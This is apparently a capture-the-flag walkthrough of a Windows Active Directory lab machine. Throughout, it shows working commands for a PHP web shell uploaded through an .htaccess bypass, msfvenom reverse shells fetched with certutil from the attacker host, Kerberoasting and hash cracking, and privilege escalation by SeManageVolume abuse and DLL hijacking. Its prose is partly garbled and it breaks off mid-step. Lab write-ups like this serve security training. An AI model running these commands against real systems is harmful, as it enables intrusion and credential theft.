

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.160.187 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.160.187:53
Open 192.168.160.187:80
Open 192.168.160.187:88
Open 192.168.160.187:135
Open 192.168.160.187:139
Open 192.168.160.187:389
Open 192.168.160.187:445
Open 192.168.160.187:464
Open 192.168.160.187:593
Open 192.168.160.187:636
Open 192.168.160.187:3268
Open 192.168.160.187:3269
Open 192.168.160.187:5985
Open 192.168.160.187:9389
Open 192.168.160.187:49666
Open 192.168.160.187:49668
Open 192.168.160.187:49673
Open 192.168.160.187:49674
Open 192.168.160.187:49677
Open 192.168.160.187:49704
Open 192.168.160.187:49790

PORT      STATE SERVICE      REASON  VERSION
53/tcp    open  domain       syn-ack Simple DNS Plus
80/tcp    open  http         syn-ack Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
88/tcp    open  kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-05-02 02:18:21Z)
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: access.offsec0.,
Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?    syn-ack
593/tcp   open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped   syn-ack
3268/tcp  open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: access.offsec0.,
Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped   syn-ack
5985/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       syn-ack .NET Message Framing
49666/tcp open  msrpc        syn-ack Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack Microsoft Windows RPC
49673/tcp open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc        syn-ack Microsoft Windows RPC
49677/tcp open  msrpc        syn-ack Microsoft Windows RPC
49704/tcp open  msrpc        syn-ack Microsoft Windows RPC
49790/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows
''' buster`uploads`directory

```

```

(kali㉿kali)-[~/pgplay]
└─$ dirsearch -u http://192.168.160.187

```

[22:13:01] 301 - 343B - /assets -> http://192.168.160.187/assets/

[22:13:01] 200 - 2KB - /assets/

[22:13:09] 301 - 342B - /forms -> http://192.168.160.187/forms/

[22:13:27] 301 - 344B - /uploads -> http://192.168.160.187/uploads/

[22:13:27] 200 - 777B - /uploads/

''' Clickbuy ticket can upload, upload.php. Refer to [File Upload bypass \(.htaccess\)](http://michalszalkowski.com/security/pentesting-web/file-upload-bypass-htaccess/#exploiting-htaccess-to-add-new-php-extension) (<http://michalszalkowski.com/security/pentesting-web/file-upload-bypass-htaccess/#exploiting-htaccess-to-add-new-php-extension>) First

```
(kali㉿kali)-[~/pgplay]
└─$ cat .htaccess
AddType application/x-httpd-php .evil
```

```
(kali㉿kali)-[~/pgplay]
└─$ cat shell.php.evil
<pre><?php echo shell_exec($_REQUEST["cmd"]) ?></pre>
``` Firstupload`.htaccess`,can upload,upload`shell.php.evil` ![Access_1.png] (picture/Access_1.png) !
[Access_2.png] (picture/Access_2.png) canusewhoami`http://192.168.160.187/uploads/shell.php.evil?
cmd=whoami`
```

access\svc\_apache

```
(kali㉿kali)-[~/pgplay]
└─$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.45.215 lport=445 -f exe > met_445.exe
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp445
```

http://192.168.160.187/uploads/shell.php.evil?cmd=certutil.exe -f -urlcache -split http://192.168.45.215/met\_445.exe  
c:/windows/temp/met\_445.exe

http://192.168.160.187/uploads/shell.php.evil?cmd=c:/windows/temp/met\_445.exe  
``` ADcantrykerberoasting

```
PS C:\Users\Public\Documents> certutil.exe -urlcache -f http://192.168.45.215/Rubeus.exe Rubeus.exe
```

```
PS C:\Users\Public\Documents> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
```

```
PS C:\Users\Public\Documents> type hashes.kerberoast
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$8E5713207FAF1ECE59DABC3809C8
3A6A$5CB682C9E4656F2EB4B614E9998FA6898826358A1E366E95316D561A1C63708A7F2ED62FC8F417600DAD8EE3A470EAFD985CF
F3FE0464D3DFCA6350ABC24B8D7D2641D5F915B5C1143B6B4764535F6A773D0155703B5053CA97C44E37BF394465EC38214C301BA0
DF3AA87DD1B1D5DA27B0DE9A821B2FB24A9613A410B39E384A01BEC62893F60F24ADAC63227DDA02A41BF521080C2CC71D47BCA977
BE161CDAD68CA2D2D7FFFE62AF7A87A2D4D974A50B79821A001849FF2B8AE907025780EC310850638DB123D9CA49CC2AD9EC4BE775
2AAA3BB291E39EC8F3D762ECBB0119094398104EF51FAA913CA2A242076E5C3167781A3D3ECC86F4FB0C7B623707154816077F2CBB9
3E3BF2A62FE6C84AF724A478EC37861D84F01686B0C87C96AA783B7460468F43844C20DC43762F0E42417D3590B6C645B5C86AB810
599C824587F1534590CCB649B3D5E2CFEB3D05AF1B51C8E747F4F33DF902F59638B0BC0BC0549CC876F0CE53E9E0A890CDA987EE42
91728EA14461686CC2BB56949546F77F93C192C082D6932B1DE21CF49F7D9826883BE3B88FB182D91FBBFD7C02380EDB6E16DECA15
88E1835C56D6B9FD2583D872A8A85C45B252F56365662F1E515FF3665C67267C36ACFDBFFF26F16204F6425C99878B5F96D771787D
4D6306110B50679C4BE88AFA285C71DF4B3EDB9A03FDE500CA705AA7E75F8EDB86A860CACD0A6400DF44C21C2DF7607881FCCF9F63
09C3E87E86C59C11D9EB436F85728488B848C8BAEEA7D1A479F69DB8645CCD4B13A7D4BCC378DF6DE1E5D98DA2636A69A5AAC8405A
8BCE7481B18119C8C9D18415016B72CC473D6794E93AA7D1EBD17A3D0D445F00142948ABAED771F7DF5014945C12341D2852F41432
4B1CA323EC411CC6219A45F39D8F5C46CC3766DAFC7E97BC3BC02E4DCBFEC14CD2A56686BFBFEF04C7F3001D3B4414CD373865C8D11
686ADA672A4196731F0F284C4857ADA2F03891C0699E262D1F87913752005C531CCF7926FEDB764FDFD94CA12811F70D967F066E2D
B9E0E904EC8819FF175148BDE09F1168D7D1777B8A2ACD6599C9D371FBC4E79F430FED610492B612EEA44C9DD00503575BB34EE0F8
EFF3A408B9EFE1AABFCFA5BD11F8857AC38C5DF1748121946E31A91B457EDB1987095D65DB03578EA9F2B3EAD81C9B6D1BB79CF34A
29CB3CA3EBF32516D32A0F28ABF127B2AC3DC6A6CD45E4F76E69087D3E19B2DEB977B46E88F6F616DAD65202A5ACEE149312640816
7A6AD1216DB14466A75BA56EC9B6250F6AAEC0952C47ED817CD64E82D0AED9F60EDD1C5745269B3CA290425C4AFA64EE3FBD87CF0
4B7293BF7B156C5115AFF037CC78EC4D42B71445607997355B266A0CCE436188AC84CF89F9C4A3D1DB18FB1BC10F5D005F496F9FFD
3CDF0EF5329C53EC06281B6384717369AF1DEF08FBC71C96A194ABEE1726130CC8CC273FD9F2C37211A04E99E609CC43B073CE88B6
0DD24017B4CB555DEBDB01C3AC28D34B8E51F65B6EB0781C0BBAE6DDECD3D78C4E2BF517469076956BE968247A66413E17426FE362
B39CC028BB3369D240A3B090E3934A6686DBD3CB6600BCF90843F0
``` hashcat
```

```
(kali㉿kali)-[~/pgplay]
└─$ sudo hashcat -m 13100 hashes.kerberoast /home/kali/rockyou.txt
```

\$krb5tgs\$23\$svc\_mssql\$access.offsec\$MSSQLSvc/DC.access.offsec@access.offsec\$8e5713207faf1ece59dabc3809c83a6a\$5cb682c9e`  
``` get svc\_mssql`trustno1,evil-winrm,impacket-psexec`xfreerdp,use**runas**  
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1?source=post_page----b95d3146cfe9-----)

```

(kali㉿kali)-[~/pgplay]
└─$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.45.215 lport=139 -f exe > met_139.exe

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp139

C:\Users\Public\Documents>powershell -ep bypass

PS C:\Users\Public\Documents> certutil.exe -urlcache -f http://192.168.45.215/Invoke-RunasCs.ps1 Invoke-RunasCs.ps1

PS C:\Users\Public\Documents> certutil.exe -urlcache -f http://192.168.45.215/met_139.exe met_139.exe

PS C:\Users\Public\Documents> . .\Invoke-RunasCs.ps1
PS C:\Users\Public\Documents> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command
"C:\Users\Public\Documents\met_139.exe"
``` get `svc_mssql`shell,`C:\Users\svc_mssql\Desktop`get local.txt

```

C:\Windows\system32>whoami

whoami

access\svc\_mssql

PS C:\Users\svc\_mssql\Desktop> type local.txt

4c85057b55bdf8ee36d19dd734b3b9d

``` Checkwhoami /priv,canuse [SeManageVolumePrivilege](#)

<https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public>, Refer to <https://github.com/xct/SeManageVolumeAbuse>

C:\Windows\System32\wbem>whoami /priv

whoami /priv

PRIVILEGES INFORMATION

| Privilege Name | Description | State |
|-------------------------------|---|----------|
| SeMachineAccountPrivilege | Add workstations to domain | Disabled |
| SeChangeNotifyPrivilege | Bypass traverse checking | Enabled |
| SeManageVolumePrivilege | Perform volume maintenance tasks | Disabled |
| SeIncreaseWorkingSetPrivilege | Increase a process working set | Disabled |

c:\Users\Public\Documents>certutil.exe -urlcache -f http://192.168.45.215/SeManageVolumeExploit.exe SeManageVolumeExploit.exe

c:\Users\Public\Documents>SeManageVolumeExploit.exe

SeManageVolumeExploit.exe

Entries changed: 925

DONE

``` canproof.txt,QQ ```

c:\Users\Administrator\Desktop>type proof.txt

1cf87366eccd434bc080c617a3ae7435

``` //reverse

(kali㉿kali)-[~/pgplay]

└─\$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.215 LPORT=135 -f dll -o tzres.dll

(kali㉿kali)-[~/pgplay]

└─\$ rlwrap -cAr nc -nvlp135

C:\Windows\System32\wbem>certutil.exe -urlcache -f http://192.168.45.215/tzres.dll tzres.dll

C:\Windows\System32\wbem> systeminfo